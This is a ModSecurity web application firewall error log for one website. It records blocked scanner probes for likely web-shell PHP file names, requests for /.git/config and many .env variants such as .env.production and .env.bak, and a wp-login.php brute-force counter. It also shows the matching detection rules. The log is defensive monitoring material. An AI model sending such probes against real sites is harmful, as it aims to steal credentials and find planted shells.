[Sun Apr 19 02:47:07.917512 2026] [:error] [pid 32166:tid 32216] [client 20.91.197.181:49985] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aePRq5CHNkWwdiZnafLYHgAAAFI"]
[Sun Apr 19 02:47:08.518953 2026] [:error] [pid 32165:tid 32189] [client 20.91.197.181:50031] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xa.php"] [unique_id "aePRrKe2vKwEk_N0BrYAfgAAABQ"]
[Sun Apr 19 02:47:09.488324 2026] [:error] [pid 41277:tid 41280] [client 20.91.197.181:47365] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fss.php"] [unique_id "aePRrUH3ayszMLZYflsHVAAAAYE"]
[Sun Apr 19 02:47:10.171280 2026] [:error] [pid 32165:tid 32187] [client 20.91.197.181:50006] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fss.php"] [unique_id "aePRrqe2vKwEk_N0BrYAggAAABI"]
[Sun Apr 19 02:47:10.761649 2026] [:error] [pid 32166:tid 32198] [client 20.91.197.181:47412] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fss.php"] [unique_id "aePRrpCHNkWwdiZnafLYIwAAAEA"]
[Sun Apr 19 02:47:11.377207 2026] [:error] [pid 33517:tid 33529] [client 20.91.197.181:51792] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fss.php"] [unique_id "aePRr34Zz-rubR1wiZ-8agAAAMo"]
[Sun Apr 19 02:47:11.956950 2026] [:error] [pid 60910:tid 60931] [client 20.91.197.181:51778] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctex1.php"] [unique_id "aePRr3FWunkyacYqsD1OSAAAAVM"]
[Sun Apr 19 02:47:12.607767 2026] [:error] [pid 32166:tid 32216] [client 20.91.197.181:50009] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctex1.php"] [unique_id "aePRsJCHNkWwdiZnafLYKwAAAFI"]
[Sun Apr 19 02:47:13.180966 2026] [:error] [pid 32166:tid 32214] [client 20.91.197.181:55189] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctex1.php"] [unique_id "aePRsZCHNkWwdiZnafLYMQAAAFA"]
[Sun Apr 19 02:47:14.133464 2026] [:error] [pid 41277:tid 41299] [client 20.91.197.181:55216] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ctex1.php"] [unique_id "aePRskH3ayszMLZYflsHWQAAAZQ"]
[Sun Apr 19 02:47:14.712081 2026] [:error] [pid 32165:tid 32171] [client 20.91.197.181:52569] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/011i.php"] [unique_id "aePRsqe2vKwEk_N0BrYAiQAAAAI"]
[Sun Apr 19 02:47:15.244278 2026] [:error] [pid 60910:tid 60929] [client 20.91.197.181:55512] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/011i.php"] [unique_id "aePRs3FWunkyacYqsD1OSwAAAVE"]
[Sun Apr 19 02:47:15.836718 2026] [:error] [pid 60910:tid 60912] [client 20.91.197.181:52047] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/011i.php"] [unique_id "aePRs3FWunkyacYqsD1OUAAAAUA"]
[Sun Apr 19 02:47:16.430404 2026] [:error] [pid 32166:tid 32214] [client 20.91.197.181:52567] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/011i.php"] [unique_id "aePRtJCHNkWwdiZnafLYPgAAAFA"]
[Sun Apr 19 02:47:17.002308 2026] [:error] [pid 32167:tid 32239] [client 20.91.197.181:50018] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "aePRtUyD4Jm27Mb3NJiZCgAAAI4"]
[Sun Apr 19 02:47:17.626077 2026] [:error] [pid 32167:tid 32243] [client 20.91.197.181:52092] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "aePRtUyD4Jm27Mb3NJiZDQAAAJI"]
[Sun Apr 19 02:47:18.152161 2026] [:error] [pid 32165:tid 32178] [client 20.91.197.181:47396] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "aePRtqe2vKwEk_N0BrYAjAAAAAk"]
[Sun Apr 19 02:47:18.947309 2026] [:error] [pid 32167:tid 32236] [client 20.91.197.181:55220] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gk.php"] [unique_id "aePRtkyD4Jm27Mb3NJiZEwAAAIs"]
[Sun Apr 19 02:47:19.506599 2026] [:error] [pid 32166:tid 32210] [client 20.91.197.181:51032] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aevly.php"] [unique_id "aePRt5CHNkWwdiZnafLYPwAAAEw"]
[Sun Apr 19 02:47:20.104073 2026] [:error] [pid 32167:tid 32247] [client 20.91.197.181:50042] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aevly.php"] [unique_id "aePRuEyD4Jm27Mb3NJiZGAAAAJY"]
[Sun Apr 19 02:47:20.706911 2026] [:error] [pid 32252:tid 32275] [client 20.91.197.181:50017] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aevly.php"] [unique_id "aePRuOXl4Yc-Lt5fJ9itlAAAARU"]
[Sun Apr 19 02:47:21.327271 2026] [:error] [pid 32252:tid 32254] [client 20.91.197.181:52626] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/aevly.php"] [unique_id "aePRueXl4Yc-Lt5fJ9itlgAAAQA"]
[Sun Apr 19 02:47:22.099853 2026] [:error] [pid 32165:tid 32169] [client 20.91.197.181:55176] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fssxwoyh.php"] [unique_id "aePRuqe2vKwEk_N0BrYAjwAAAAA"]
[Sun Apr 19 02:47:22.683915 2026] [:error] [pid 41277:tid 41291] [client 20.91.197.181:51022] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fssxwoyh.php"] [unique_id "aePRukH3ayszMLZYflsHYQAAAYw"]
[Sun Apr 19 02:47:23.335498 2026] [:error] [pid 32165:tid 32173] [client 20.91.197.181:47403] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fssxwoyh.php"] [unique_id "aePRu6e2vKwEk_N0BrYAkgAAAAQ"]
[Sun Apr 19 02:47:23.918676 2026] [:error] [pid 32167:tid 32242] [client 20.91.197.181:52587] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fssxwoyh.php"] [unique_id "aePRu0yD4Jm27Mb3NJiZKgAAAJE"]
[Sun Apr 19 02:47:24.461476 2026] [:error] [pid 32165:tid 32181] [client 20.91.197.181:52064] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wcvejtpr.php"] [unique_id "aePRvKe2vKwEk_N0BrYAlAAAAAw"]
[Sun Apr 19 02:47:25.883478 2026] [:error] [pid 32166:tid 32216] [client 20.91.197.181:50012] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wcvejtpr.php"] [unique_id "aePRvZCHNkWwdiZnafLYQwAAAFI"]
[Sun Apr 19 02:47:26.510052 2026] [:error] [pid 32252:tid 32277] [client 20.91.197.181:55208] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wcvejtpr.php"] [unique_id "aePRvuXl4Yc-Lt5fJ9itoQAAARc"]
[Sun Apr 19 02:47:27.104776 2026] [:error] [pid 32166:tid 32220] [client 20.91.197.181:52613] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wcvejtpr.php"] [unique_id "aePRv5CHNkWwdiZnafLYSAAAAFY"]
[Sun Apr 19 02:47:27.740544 2026] [:error] [pid 41277:tid 41290] [client 20.91.197.181:55203] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/home.php"] [unique_id "aePRv0H3ayszMLZYflsHYwAAAYs"]
[Sun Apr 19 02:47:28.310505 2026] [:error] [pid 33517:tid 33523] [client 20.91.197.181:50021] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/home.php"] [unique_id "aePRwH4Zz-rubR1wiZ-8cQAAAMQ"]
[Sun Apr 19 02:47:28.903529 2026] [:error] [pid 32167:tid 32233] [client 20.91.197.181:50025] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/home.php"] [unique_id "aePRwEyD4Jm27Mb3NJiZOwAAAIg"]
[Sun Apr 19 02:47:29.518883 2026] [:error] [pid 32167:tid 32229] [client 20.91.197.181:52083] [client 20.91.197.181] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/home.php"] [unique_id "aePRwUyD4Jm27Mb3NJiZQAAAAIQ"]
[Sun Apr 19 03:15:27.343306 2026] [:error] [pid 32252:tid 32268] [client 43.163.104.54:50538] [client 43.163.104.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aePYT-Xl4Yc-Lt5fJ9iz_wAAAQ4"]
[Sun Apr 19 03:17:05.940578 2026] [:error] [pid 33517:tid 33528] [client 172.98.33.30:31961] [client 172.98.33.30] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 172.98.33.30, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "aePYsX4Zz-rubR1wiZ_DsgAAAMk"]
[Sun Apr 19 04:44:30.514587 2026] [:error] [pid 47772:tid 47804] [client 3.39.244.108:53846] [client 3.39.244.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aePtLoc0L16cb4smAz-IoQAAAA8"]
[Sun Apr 19 04:44:31.308197 2026] [:error] [pid 47773:tid 47823] [client 3.39.244.108:53904] [client 3.39.244.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env"] [unique_id "aePtL-iBHdnCJDuPq9AzaQAAAEc"]
[Sun Apr 19 04:44:31.919139 2026] [:error] [pid 47773:tid 47832] [client 3.39.244.108:53948] [client 3.39.244.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aePtL-iBHdnCJDuPq9AzcQAAAFA"]
[Sun Apr 19 04:44:32.532332 2026] [:error] [pid 15764:tid 15842] [client 3.39.244.108:53964] [client 3.39.244.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aePtMGLL_sqdSHoVp-TguwAAAlA"]
[Sun Apr 19 04:44:33.139632 2026] [:error] [pid 15764:tid 15843] [client 3.39.244.108:54004] [client 3.39.244.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aePtMWLL_sqdSHoVp-TgvwAAAlE"]
[Sun Apr 19 04:44:33.753778 2026] [:error] [pid 47773:tid 47835] [client 3.39.244.108:54028] [client 3.39.244.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aePtMeiBHdnCJDuPq9AzeAAAAFM"]
[Sun Apr 19 04:44:34.365660 2026] [:error] [pid 47772:tid 47805] [client 3.39.244.108:54054] [client 3.39.244.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.test"] [unique_id "aePtMoc0L16cb4smAz-IqgAAABA"]
[Sun Apr 19 04:44:34.972705 2026] [:error] [pid 47773:tid 47824] [client 3.39.244.108:54098] [client 3.39.244.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.remote"] [unique_id "aePtMuiBHdnCJDuPq9AzewAAAEg"]
[Sun Apr 19 04:44:35.585246 2026] [:error] [pid 47773:tid 47828] [client 3.39.244.108:34624] [client 3.39.244.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.bak"] [unique_id "aePtM-iBHdnCJDuPq9AziQAAAEw"]
[Sun Apr 19 04:44:36.196380 2026] [:error] [pid 47886:tid 47901] [client 3.39.244.108:34648] [client 3.39.244.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.backup"] [unique_id "aePtNESe8yiyuPrD7yPckAAAAM0"]
[Sun Apr 19 04:44:36.810104 2026] [:error] [pid 15764:tid 15826] [client 3.39.244.108:34680] [client 3.39.244.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.env.save"] [unique_id "aePtNGLL_sqdSHoVp-TgwwAAAkA"]
[Sun Apr 19 04:50:37.101044 2026] [:error] [pid 47775:tid 47849] [client 93.123.109.79:54513] [client 93.123.109.79] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aePunbmztjlk9tsmoexg7AAAAIY"]
[Sun Apr 19 06:23:57.393289 2026] [:error] [pid 15760:tid 15785] [client 3.250.2.106:47482] [client 3.250.2.106] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aeQEffSdD_XHQMJ_ISsfcwAAAdE"]
[Sun Apr 19 06:23:58.703725 2026] [:error] [pid 15765:tid 15856] [client 3.250.2.106:52444] [client 3.250.2.106] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env"] [unique_id "aeQEfvRqinw-W5EwQ76OeAAAAoM"]
[Sun Apr 19 06:23:59.736417 2026] [:error] [pid 47775:tid 47867] [client 3.250.2.106:52502] [client 3.250.2.106] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.local"] [unique_id "aeQEf7mztjlk9tsmoeyA3gAAAJg"]
[Sun Apr 19 06:24:00.764824 2026] [:error] [pid 47886:tid 47904] [client 3.250.2.106:52544] [client 3.250.2.106] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.production"] [unique_id "aeQEgESe8yiyuPrD7yP5tQAAANA"]
[Sun Apr 19 06:24:01.793135 2026] [:error] [pid 15694:tid 15724] [client 3.250.2.106:52606] [client 3.250.2.106] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.staging"] [unique_id "aeQEgbimB-jol1fwqArASQAAAYE"]
[Sun Apr 19 06:24:02.820175 2026] [:error] [pid 47775:tid 47855] [client 3.250.2.106:52664] [client 3.250.2.106] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.env.development"] [unique_id "aeQEgrmztjlk9tsmoeyA6AAAAIw"]
[Sun Apr 19 07:44:37.495147 2026] [:error] [pid 15763:tid 15812] [client 135.181.180.59:21328] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "aeQXZbMXv1Y1THOoxaA0LQAAAhA"]
[Sun Apr 19 07:44:40.277662 2026] [:error] [pid 47886:tid 47911] [client 135.181.180.59:21330] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aeQXaESe8yiyuPrD7yMKmAAAANc"]
